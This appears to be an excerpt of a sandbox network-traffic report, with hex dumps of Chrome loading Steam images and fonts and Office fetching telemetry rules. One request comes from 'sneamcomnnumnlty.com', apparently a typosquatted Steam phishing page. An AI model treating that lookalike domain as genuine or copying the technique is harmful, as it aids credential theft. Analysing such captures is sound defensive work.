2024-10-06 12:08:28 UTC	7952	IN	Data Raw: 11 40 3e fe c8 19 19 12 34 26 25 1f 29 31 23 39 1e 5f 1d 29 22 27 25 bb 38 52 33 48 2a 29 3d 32 31 47 29 0b 25 33 20 29 46 29 3b 2b 2c 43 22 1d 56 1a 63 18 63 2a 1d 0b 20 35 19 16 1d 2e 21 fe 9f 20 23 6c 13 1c 2b 1b 1a 20 00 00 ff ff 00 43 ff ad 01 c9 02 13 00 02 02 d7 1b 00 00 05 00 39 ff f7 02 52 02 1d 00 0d 00 11 00 1c 00 2a 00 35 00 91 4b b0 1b 50 58 40 29 02 0a 02 01 0b 01 05 04 01 05 69 00 04 00 00 07 04 00 69 0c 01 07 0d 01 09 08 07 09 69 00 08 08 03 61 06 01 03 03 2d 03 4e 1b 40 34 00 02 01 05 01 02 05 80 0a 01 01 0b 01 05 04 01 05 69 00 04 00 00 07 04 00 69 0c 01 07 0d 01 09 08 07 09 69 00 03 03 2d 4d 00 08 08 06 61 00 06 06 31 06 4e 59 40 26 2b 2b 1d 1d 12 12 00 00 2b 35 2b 34 31 2f 1d 2a 1d 29 24 22 12 1c 12 1b 18 16 11 10 0f 0e 00 0d 00 0c 25 Data Ascii: @>4&%)1#9_)"'%8R3H)=21G)%3 )F);+,C"Vcc 5.! #l+ C9R5KPX@)iiia-N@4iii-Ma1NY@&+++5+41/)$"%
2024-10-06 12:08:28 UTC	13760	IN	Data Raw: 02 11 ff e3 02 11 ff e3 02 11 ff e3 01 f1 00 00 01 f1 00 00 01 f1 00 00 01 f1 00 00 01 62 00 18 02 37 00 0d 02 11 00 27 02 11 00 27 02 53 ff a1 02 58 ff a1 02 0c 00 20 02 45 ff f8 02 45 ff f8 02 45 ff f8 02 45 ff f8 02 45 ff f8 02 45 ff f8 02 45 ff f8 02 45 ff f8 02 45 ff f8 02 45 ff f8 02 45 ff f8 02 45 ff f8 02 45 ff f8 02 45 ff f8 02 45 ff f8 02 45 ff f8 02 45 ff f8 02 45 ff f8 02 45 ff f8 02 45 ff f8 02 45 ff f8 02 45 ff f8 02 45 ff f8 02 cb ff f8 01 fd 00 20 02 23 00 31 02 23 00 31 02 23 00 31 02 23 00 31 02 23 00 31 02 23 00 31 02 3f 00 20 02 3f 00 20 02 3f 00 20 02 3f 00 20 01 ea 00 23 01 ea 00 23 01 ea 00 23 01 ea 00 23 01 ea 00 23 01 ea 00 23 01 ea 00 23 01 ea 00 23 01 ea 00 23 01 ea 00 23 01 ea 00 23 01 ea 00 23 01 ea 00 23 01 ea 00 23 01 ea 00 Data Ascii: b7''SX EEEEEEEEEEEEEEEEEEEEEEE #1#1#1#1#1#1? ? ? ? ##############

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
83	192.168.2.5	49816	2.19.126.97	443	6480	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-06 12:08:27 UTC	385	OUT	GET /public/images/ico/ico_twitter.gif HTTP/1.1 Host: store.akamai.steamstatic.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-06 12:08:27 UTC	267	IN	HTTP/1.1 200 OK Server: nginx Content-Type: image/gif Content-Length: 1429 Last-Modified: Tue, 14 Nov 2023 23:31:27 GMT ETag: "6554034f-595" Access-Control-Allow-Origin: * Accept-Ranges: bytes Date: Sun, 06 Oct 2024 12:08:27 GMT Connection: close X-N: S
2024-10-06 12:08:27 UTC	1429	IN	Data Raw: 47 49 46 38 39 61 10 00 10 00 d5 00 00 d7 d7 d8 e1 e1 e2 55 56 5c db db dc 8b 8c 90 c8 c9 cb 68 69 6e b1 b2 b5 52 54 5a 52 53 59 a3 a4 a7 a4 a5 a8 be bf c1 65 67 6c 85 86 8a 46 47 4e c9 ca cc 8e 8f 93 3b 3c 43 e4 e4 e5 cb cb cd 5c 5d 63 72 73 78 54 56 5c 3b 3d 44 3f 41 48 36 38 3f 3f 40 47 d3 d4 d5 98 99 9d 69 6b 70 59 5b 61 f8 f8 f8 de de df 91 92 96 e5 e5 e6 8c 8d 91 38 3a 41 83 84 88 c1 c2 c4 42 44 4a ad ae b1 a2 a3 a6 61 62 68 e6 e6 e7 59 5a 60 81 82 87 73 74 79 ba bb bd 4c 4e 54 4d 4f 55 d9 d9 db df df e0 3e 40 46 4b 4d 53 a0 a1 a4 53 55 5b 37 39 40 42 44 4b 41 43 49 35 37 3e 00 00 00 00 00 00 00 00 00 21 ff 0b 58 4d 50 20 44 61 74 61 58 4d 50 3c 3f 78 70 61 63 6b 65 74 20 62 65 67 69 6e 3d 22 ef bb bf 22 20 69 64 3d 22 57 35 4d 30 4d 70 43 65 68 69 Data Ascii: GIF89aUV\hinRTZRSYeglFGN;<C\]crsxTV\;=D?AH68??@GikpY[a8:ABDJabhYZ`styLNTMOU>@FKMSSU[79@BDKACI57>!XMP DataXMP<?xpacket begin="" id="W5M0MpCehi

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
84	192.168.2.5	49817	2.16.168.6	443	6480	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-06 12:08:28 UTC	679	OUT	GET /public/shared/fonts/MotivaSans-Light.ttf?v=4.015 HTTP/1.1 Host: store.akamai.steamstatic.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Origin: https://sneamcomnnumnlty.com sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: font Referer: https://store.akamai.steamstatic.com/public/shared/css/motiva_sans.css?v=Rc2hpzg2Ex3T&l=english Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-06 12:08:28 UTC	278	IN	HTTP/1.1 200 OK Server: nginx Content-Type: application/octet-stream Content-Length: 122660 Last-Modified: Tue, 28 Jul 2020 23:16:24 GMT ETag: "5f20b1c8-1df24" Access-Control-Allow-Origin: * Accept-Ranges: bytes Date: Sun, 06 Oct 2024 12:08:28 GMT Connection: close
2024-10-06 12:08:28 UTC	16106	IN	Data Raw: 00 01 00 00 00 12 01 00 00 04 00 20 44 53 49 47 00 00 00 01 00 01 df 1c 00 00 00 08 47 44 45 46 0d b6 0e 34 00 00 01 2c 00 00 00 40 47 50 4f 53 b7 ad 6e 29 00 00 01 6c 00 00 75 6a 47 53 55 42 e1 64 c1 db 00 00 76 d8 00 00 1b a4 4f 53 2f 32 74 d2 9d 02 00 00 92 7c 00 00 00 60 63 6d 61 70 f6 64 8b a3 00 00 92 dc 00 00 05 8e 63 76 74 20 46 29 09 0f 00 01 cf 64 00 00 00 c8 66 70 67 6d 9e 36 21 d2 00 01 d0 2c 00 00 0e 15 67 61 73 70 00 00 00 10 00 01 cf 5c 00 00 00 08 67 6c 79 66 e0 8a ae 64 00 00 98 6c 00 01 01 b6 68 65 61 64 17 93 fb 41 00 01 9a 24 00 00 00 36 68 68 65 61 06 9e 06 2b 00 01 9a 5c 00 00 00 24 68 6d 74 78 76 c1 78 00 00 01 9a 80 00 00 0c e6 6c 6f 63 61 a7 f7 67 d6 00 01 a7 68 00 00 06 a6 6d 61 78 70 04 a0 0f 16 00 01 ae 10 00 00 00 20 6e 61 6d Data Ascii: DSIGGDEF4,@GPOSn)lujGSUBdvOS/2t\|`cmapdcvt F)dfpgm6!,gasp\glyfdlheadA$6hhea+\$hmtxvxlocaghmaxp nam
2024-10-06 12:08:28 UTC	16384	IN	Data Raw: 00 00 00 00 00 00 00 00 00 01 00 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ff ff 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ff db ff f7 00 02 00 00 00 03 00 00 00 04 00 01 00 00 00 00 00 00 00 00 ff ad ff bd 00 00 00 00 00 00 00 00 00 00 ff 98 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ff f7 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ff eb ff ff 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
2024-10-06 12:08:28 UTC	2634	IN	Data Raw: 00 00 00 01 00 11 00 00 00 01 00 11 00 00 00 01 00 11 00 00 00 01 00 11 00 00 00 01 00 11 00 00 00 03 00 12 00 13 00 14 00 00 00 03 00 12 00 13 00 14 00 00 00 03 00 12 00 13 00 14 00 00 00 03 00 12 00 13 00 14 00 00 00 03 00 12 00 13 00 14 00 00 00 03 00 12 00 13 00 14 00 00 00 03 00 12 00 13 00 14 00 00 00 03 00 12 00 13 00 14 00 00 00 03 00 12 00 13 00 14 00 00 00 03 00 12 00 13 00 14 00 00 00 03 00 12 00 13 00 14 00 00 00 01 00 1d 00 00 00 01 00 1d 00 00 00 01 00 1d 00 00 00 01 00 1d 00 00 00 01 00 1d 00 00 00 01 00 1d 00 00 00 01 00 1d 00 00 00 01 00 1d 00 00 00 01 00 1d 00 00 00 01 00 1d 00 00 00 01 00 1d 00 00 00 01 00 16 00 00 00 01 00 16 00 00 00 01 00 16 00 00 00 01 00 16 00 00 00 01 00 16 00 00 00 01 00 16 00 00 00 01 00 16 00 00 00 01 00 16 00 Data Ascii:
2024-10-06 12:08:28 UTC	16384	IN	Data Raw: 02 c4 02 fd 02 fe 02 ff 02 fc 03 33 03 34 03 35 03 36 03 37 03 38 03 39 03 3a 03 3b 03 3c 03 3d 03 3e 03 3f 03 40 03 41 03 42 03 43 03 44 00 02 07 d4 00 14 02 a7 02 fb 03 20 03 21 03 22 03 23 03 24 03 25 03 26 03 27 03 28 03 29 03 2a 03 2b 03 2c 03 2d 03 2e 03 2f 03 30 03 31 00 01 07 c2 00 01 00 08 00 02 00 06 00 0c 01 74 00 02 00 fa 01 75 00 02 01 0f 00 02 07 ae 01 7e 01 78 01 79 01 7a 01 7b 01 7c 01 7d 01 7e 01 7f 01 80 01 81 01 82 01 83 01 84 01 85 01 86 01 87 01 88 01 89 01 8a 01 8b 01 8c 01 8d 01 8e 01 8f 01 90 01 91 01 92 01 93 01 94 01 95 01 96 01 97 01 98 01 99 01 9a 01 9b 01 9c 01 9d 01 9e 01 9f 01 a0 01 a1 01 a2 01 a3 01 a4 01 a5 01 a6 01 a7 01 a8 01 a9 01 aa 01 ab 01 ad 01 ae 01 af 01 b0 01 b1 01 b2 01 b3 01 b4 01 b5 01 b6 01 b7 01 c2 01 b9 01 Data Ascii: 3456789:;<=>?@ABCD !"#$%&'()*+,-./01tu~xyz{\|}~
2024-10-06 12:08:28 UTC	16384	IN	Data Raw: 33 2b 0d 04 05 07 0a 01 01 05 01 01 06 01 05 4c 00 02 00 07 05 02 07 69 00 03 03 04 61 00 04 04 53 4d 0a 08 02 05 05 01 61 00 01 01 51 4d 09 01 06 06 00 62 00 00 00 4d 00 4e 31 31 00 00 31 3c 31 3b 37 35 00 30 00 2f 25 24 24 24 2a 23 0b 0a 1c 2b 04 37 07 06 23 22 26 35 34 36 37 26 26 27 06 06 23 22 26 35 34 36 33 32 17 35 34 26 23 22 07 27 36 36 33 32 16 15 11 14 16 33 32 37 07 06 15 14 33 26 36 37 35 26 23 22 06 15 14 16 33 02 04 0c 05 13 16 26 2a 21 1d 1d 21 05 22 5c 38 48 5f 7a 5b 3e 46 4b 3a 4d 47 21 29 5d 3a 5f 63 12 14 0e 08 07 33 24 e2 5a 1a 51 31 3e 51 40 2d 9c 02 2b 07 28 21 1e 42 1f 03 23 24 27 2c 4c 47 50 4b 0e 4f 3e 3a 36 30 21 24 5d 5c fe fd 16 15 02 30 41 35 2a cd 2e 26 55 0d 2d 32 2d 2a 00 00 00 ff ff 00 30 ff f3 02 0d 02 f5 00 22 00 ba 00 Data Ascii: 3+LiaSMaQMbMN111<1;750/%$$$#+7#"&5467&&'#"&5463254&#"'66323273&675&#"3&!!"\8H_z[>FK:MG!)]:_c3$ZQ1>Q@-+(!B#$',LGPKO>:60!$]\0A5.&U-2-0"
2024-10-06 12:08:28 UTC	7952	IN	Data Raw: 49 fe d6 48 48 01 36 01 03 fd c7 f4 f4 02 39 fe fd 00 00 00 00 02 00 2a 00 00 02 40 02 39 00 13 00 17 00 36 40 33 08 06 02 00 0b 05 02 01 0a 00 01 67 00 0a 00 03 02 0a 03 67 09 01 07 07 2c 4d 04 01 02 02 2d 02 4e 17 16 15 14 13 12 11 11 11 11 11 11 11 11 10 0c 08 1f 2b 01 33 15 23 11 23 35 21 15 23 11 23 35 33 35 33 15 21 35 33 01 21 35 21 02 13 2d 2d 49 fe d6 48 2e 2e 48 01 2a 49 fe 8d 01 2a fe d6 01 d0 37 fe 67 f4 f4 01 99 37 69 69 69 fe fd 63 00 00 ff ff 00 58 00 00 02 13 02 f4 00 22 01 b4 00 00 01 07 03 38 01 d0 00 2d 00 08 b1 01 01 b0 2d b0 35 2b 00 00 00 01 00 58 00 00 00 a1 02 39 00 03 00 13 40 10 00 00 00 2c 4d 00 01 01 2d 01 4e 11 10 02 08 18 2b 13 33 11 23 58 49 49 02 39 fd c7 ff ff 00 58 00 00 00 a1 02 39 00 02 01 b7 00 00 ff ff 00 49 00 00 00 Data Ascii: IHH69@96@3gg,M-N+3##5!##5353!53!5!--IH..HI*7g7iiicX"8--5+X9@,M-N+3#XII9X9I
2024-10-06 12:08:28 UTC	16384	IN	Data Raw: 00 00 01 c9 02 f2 00 22 02 2c 00 00 01 07 03 34 01 7d 00 2d 00 08 b1 01 01 b0 2d b0 35 2b 00 00 00 02 00 36 01 85 01 5c 02 c8 00 20 00 2c 00 51 40 4e 17 01 03 04 16 01 02 03 10 01 07 02 27 26 02 05 07 05 01 00 05 05 4c 00 04 00 03 02 04 03 69 00 02 00 07 05 02 07 69 06 08 02 05 00 00 05 59 06 08 02 05 05 00 61 01 01 00 05 00 51 00 00 2a 28 24 22 00 20 00 1f 24 24 24 23 22 09 0b 1b 2b 01 07 06 23 22 27 06 06 23 22 26 35 34 36 33 32 17 35 34 26 23 22 07 27 36 36 33 32 16 15 15 14 33 26 16 33 32 36 37 35 26 23 22 06 15 01 5c 04 0f 13 2a 09 13 37 1b 2d 3b 46 3c 21 27 23 23 29 2c 13 11 3e 21 37 3c 17 de 20 1d 1a 2d 0e 26 19 25 2e 01 af 24 05 28 13 16 33 2a 30 2d 07 1a 26 21 16 25 0d 13 37 35 95 18 1c 1a 14 0e 3e 09 1c 1c 00 00 00 02 00 30 01 83 01 63 02 c8 00 Data Ascii: ",4}--5+6\ ,Q@N'&LiiYaQ($" $$$#"+#"'#"&5463254&#"'66323&32675&#"\7-;F<!'##),>!7< -&%.$(3*0-&!%75>0c
2024-10-06 12:08:28 UTC	16384	IN	Data Raw: 21 1a 2f 05 28 23 39 09 43 0c 07 06 0c 3f 12 3f 2a 9b 3e 8f 58 5a 3a 3c 1a 17 3b 3d 84 3e 92 30 35 15 0a 06 01 07 00 00 00 01 00 2c 00 00 02 5f 02 bc 00 18 00 39 40 36 18 01 01 00 01 4c 09 01 01 08 01 02 03 01 02 68 07 01 03 06 01 04 05 03 04 67 0a 01 00 00 48 4d 00 05 05 49 05 4e 17 16 15 14 21 11 11 11 11 12 11 11 10 0b 0a 1f 2b 01 33 03 33 15 23 07 15 33 15 23 15 23 35 23 35 33 35 27 23 35 33 03 33 13 02 0b 54 ce a2 c6 01 c7 c7 4a c9 c9 01 c8 a3 d0 5d bf 02 bc fe ac 3d 01 42 3d ab ab 3d 42 01 3d 01 54 fe b6 00 01 00 4b ff ae 01 b7 02 13 00 1e 00 5d 40 11 12 10 0d 03 03 02 1e 13 02 04 03 06 01 00 04 03 4c 4b b0 0e 50 58 40 1b 00 01 00 00 01 71 00 03 03 02 5f 00 02 02 4b 4d 00 04 04 00 61 00 00 00 49 00 4e 1b 40 1a 00 01 00 01 86 00 03 03 02 5f 00 02 02 Data Ascii: !/(#9C??*>XZ:<;=>05,_9@6LhgHMIN!+33#3##5#535'#533TJ]=B==B=TK]@LKPX@q_KMaIN@_
2024-10-06 12:08:28 UTC	7952	IN	Data Raw: 0b 66 0b 72 0b d0 0b dc 0b e8 0b fa 0c 06 0c 12 0c 1e 0c 2a 0c 96 0c a2 0c f0 0d 2a 0d 68 0d ba 0d f6 0e 02 0e 0e 0e 1a 0e 74 0e 80 0e 8c 0f 16 0f 22 0f 2e 0f aa 0f fe 10 1c 10 4e 10 5a 10 ae 10 ba 10 ec 10 f8 11 04 11 10 11 1c 11 7c 12 02 12 92 13 1e 13 88 13 94 13 a6 13 b2 14 06 14 12 14 1e 14 30 14 3c 14 48 14 54 14 60 14 aa 14 b6 14 c2 14 e2 15 0e 15 1a 15 26 15 82 15 94 15 c0 15 e4 15 f0 15 fc 16 4e 16 5a 16 6c 16 78 16 84 16 90 16 bc 16 c8 16 d4 16 e6 17 6a 17 76 17 82 17 8e 17 9e 17 aa 17 b6 17 c2 17 ce 17 da 17 e6 17 f6 18 02 18 0e 18 1a 18 26 18 32 18 3e 18 4a 18 56 18 dc 18 e8 18 f4 19 c0 1a 2e 1a 72 1a 7e 1a 8a 1b 04 1b 10 1b 1c 1b 88 1b e4 1b f0 1c 6e 1c c2 1c ce 1c da 1c e6 1c f2 1c fe 1d 0e 1d 1a 1d 26 1d 32 1d 3e 1d 4a 1d 56 1d 62 1d 6e 1d Data Ascii: fr**ht".NZ\|0<HT`&NZlxjv&2>JV.r~n&2>JVbn
2024-10-06 12:08:28 UTC	6096	IN	Data Raw: 7a 2e 73 63 09 7a 61 63 75 74 65 2e 73 63 09 7a 63 61 72 6f 6e 2e 73 63 0d 7a 64 6f 74 61 63 63 65 6e 74 2e 73 63 07 75 6e 69 30 33 39 34 07 75 6e 69 30 33 41 39 07 75 6e 69 30 33 42 43 08 7a 65 72 6f 2e 6f 73 66 07 6f 6e 65 2e 6f 73 66 07 74 77 6f 2e 6f 73 66 09 74 68 72 65 65 2e 6f 73 66 08 66 6f 75 72 2e 6f 73 66 08 66 69 76 65 2e 6f 73 66 07 73 69 78 2e 6f 73 66 09 73 65 76 65 6e 2e 6f 73 66 09 65 69 67 68 74 2e 6f 73 66 08 6e 69 6e 65 2e 6f 73 66 07 7a 65 72 6f 2e 74 66 06 6f 6e 65 2e 74 66 06 74 77 6f 2e 74 66 08 74 68 72 65 65 2e 74 66 07 66 6f 75 72 2e 74 66 07 66 69 76 65 2e 74 66 06 73 69 78 2e 74 66 08 73 65 76 65 6e 2e 74 66 08 65 69 67 68 74 2e 74 66 07 6e 69 6e 65 2e 74 66 09 7a 65 72 6f 2e 74 6f 73 66 08 6f 6e 65 2e 74 6f 73 66 08 74 77 6f Data Ascii: z.sczacute.sczcaron.sczdotaccent.scuni0394uni03A9uni03BCzero.osfone.osftwo.osfthree.osffour.osffive.osfsix.osfseven.osfeight.osfnine.osfzero.tfone.tftwo.tfthree.tffour.tffive.tfsix.tfseven.tfeight.tfnine.tfzero.tosfone.tosftwo

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
85	192.168.2.5	49818	2.19.126.97	443	6480	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-06 12:08:28 UTC	405	OUT	GET /public/shared/images/popups/btn_arrow_down_padded.png HTTP/1.1 Host: store.akamai.steamstatic.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-06 12:08:28 UTC	265	IN	HTTP/1.1 200 OK Server: nginx Content-Type: image/png Content-Length: 161 Last-Modified: Fri, 05 Jan 2018 22:31:55 GMT ETag: "5a4ffcdb-a1" Strict-Transport-Security: max-age=300 Accept-Ranges: bytes Date: Sun, 06 Oct 2024 12:08:28 GMT Connection: close
2024-10-06 12:08:28 UTC	161	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 13 00 00 00 0c 08 06 00 00 00 80 d0 86 82 00 00 00 19 74 45 58 74 53 6f 66 74 77 61 72 65 00 41 64 6f 62 65 20 49 6d 61 67 65 52 65 61 64 79 71 c9 65 3c 00 00 00 43 49 44 41 54 78 da 62 fc ff ff 3f 03 b5 00 e3 08 36 ec d8 91 c3 fc 40 ea 00 10 1b e0 d0 b7 c0 ca c6 36 91 68 97 e1 31 10 ab 41 04 bd 89 c5 40 9c 06 11 15 66 48 06 5e c0 67 d0 48 4f 1a e4 02 80 00 03 00 23 ae 37 e9 64 d5 5d 17 00 00 00 00 49 45 4e 44 ae 42 60 82 Data Ascii: PNGIHDRtEXtSoftwareAdobe ImageReadyqe<CIDATxb?6@6h1A@fH^gHO#7d]IENDB`

Session ID	Source IP	Source Port	Destination IP	Destination Port
86	192.168.2.5	49820	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-06 12:08:31 UTC	195	OUT	GET /rules/other-Win32-v19.bundle HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-06 12:08:31 UTC	540	IN	HTTP/1.1 200 OK Date: Sun, 06 Oct 2024 12:08:31 GMT Content-Type: text/plain Content-Length: 218853 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public Last-Modified: Fri, 04 Oct 2024 23:21:50 GMT ETag: "0x8DCE4CB535A72FA" x-ms-request-id: 4dad204e-401e-005b-4bf5-169c0c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241006T120831Z-1657d5bbd48xsz2nuzq4vfrzg800000001w0000000005762 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-06 12:08:31 UTC	15844	IN	Data Raw: 31 30 30 30 76 35 2b 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 30 30 30 22 20 56 3d 22 35 22 20 44 43 3d 22 45 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 52 75 6c 65 45 72 72 6f 72 73 41 67 67 72 65 67 61 74 65 64 22 20 41 54 54 3d 22 66 39 39 38 63 63 35 62 61 34 64 34 34 38 64 36 61 31 65 38 65 39 31 33 66 66 31 38 62 65 39 34 2d 64 64 31 32 32 65 30 61 2d 66 63 66 38 2d 34 64 63 35 2d 39 64 62 62 2d 36 61 66 61 63 35 33 32 35 31 38 33 2d 37 34 30 35 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 53 3d 22 37 30 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 50 53 50 20 50 53 55 22 20 Data Ascii: 1000v5+<?xml version="1.0" encoding="utf-8"?><R Id="1000" V="5" DC="ESM" EN="Office.Telemetry.RuleErrorsAggregated" ATT="f998cc5ba4d448d6a1e8e913ff18be94-dd122e0a-fcf8-4dc5-9dbb-6afac5325183-7405" SP="CriticalBusinessImpact" S="70" DL="A" DCa="PSP PSU"
2024-10-06 12:08:31 UTC	16384	IN	Data Raw: 22 30 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 34 30 30 22 20 54 3d 22 49 33 32 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 42 22 20 49 3d 22 35 22 20 4f 3d 22 66 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 47 45 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 2f 3e Data Ascii: "0" /> </L> <R> <V V="400" T="I32" /> </R> </O> </R> </O> </C> <C T="B" I="5" O="false"> <O T="AND"> <L> <O T="GE"> <L> <S T="1" F="0" />
2024-10-06 12:08:31 UTC	16384	IN	Data Raw: 20 20 3c 53 54 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 31 22 20 2f 3e 0d 0a 20 20 3c 2f 53 54 3e 0d 0a 3c 2f 52 3e 0d 0a 3c 24 21 23 3e 31 30 38 32 30 76 33 2b 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 30 38 32 30 22 20 56 3d 22 33 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 4f 75 74 6c 6f 6f 6b 2e 44 65 73 6b 74 6f 70 2e 43 6f 6e 74 61 63 74 43 61 72 64 50 72 6f 70 65 72 74 69 65 73 43 6f 75 6e 74 73 22 20 41 54 54 3d 22 64 38 30 37 36 30 39 32 37 36 37 34 34 32 34 35 62 61 66 38 31 62 66 37 62 63 38 30 33 33 66 36 2d 32 32 36 38 65 33 37 34 2d 37 37 36 36 2d 34 39 37 36 2d 62 65 34 34 2d 62 36 61 64 35 62 64 64 63 35 62 36 2d 37 38 31 Data Ascii: <ST> <S T="1" /> </ST></R><$!#>10820v3+<?xml version="1.0" encoding="utf-8"?><R Id="10820" V="3" DC="SM" EN="Office.Outlook.Desktop.ContactCardPropertiesCounts" ATT="d807609276744245baf81bf7bc8033f6-2268e374-7766-4976-be44-b6ad5bddc5b6-781
2024-10-06 12:08:31 UTC	16384	IN	Data Raw: 20 54 3d 22 55 36 34 22 20 49 3d 22 38 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 45 76 65 6e 74 73 5f 41 76 67 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 32 22 20 46 3d 22 41 76 65 72 61 67 65 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 39 22 20 4f 3d 22 74 72 75 65 22 20 4e 3d 22 50 75 72 67 65 64 5f 41 67 65 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 34 22 20 46 3d 22 43 6f 75 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 30 22 20 4f 3d 22 74 72 75 65 22 20 4e 3d 22 50 75 72 67 65 64 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 35 22 20 46 3d 22 43 6f 75 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 Data Ascii: T="U64" I="8" O="false" N="Events_Avg"> <S T="2" F="Average" /> </C> <C T="U32" I="9" O="true" N="Purged_Age"> <S T="4" F="Count" /> </C> <C T="U32" I="10" O="true" N="Purged_Count"> <S T="5" F="Count" /> </C> <C T="U32"
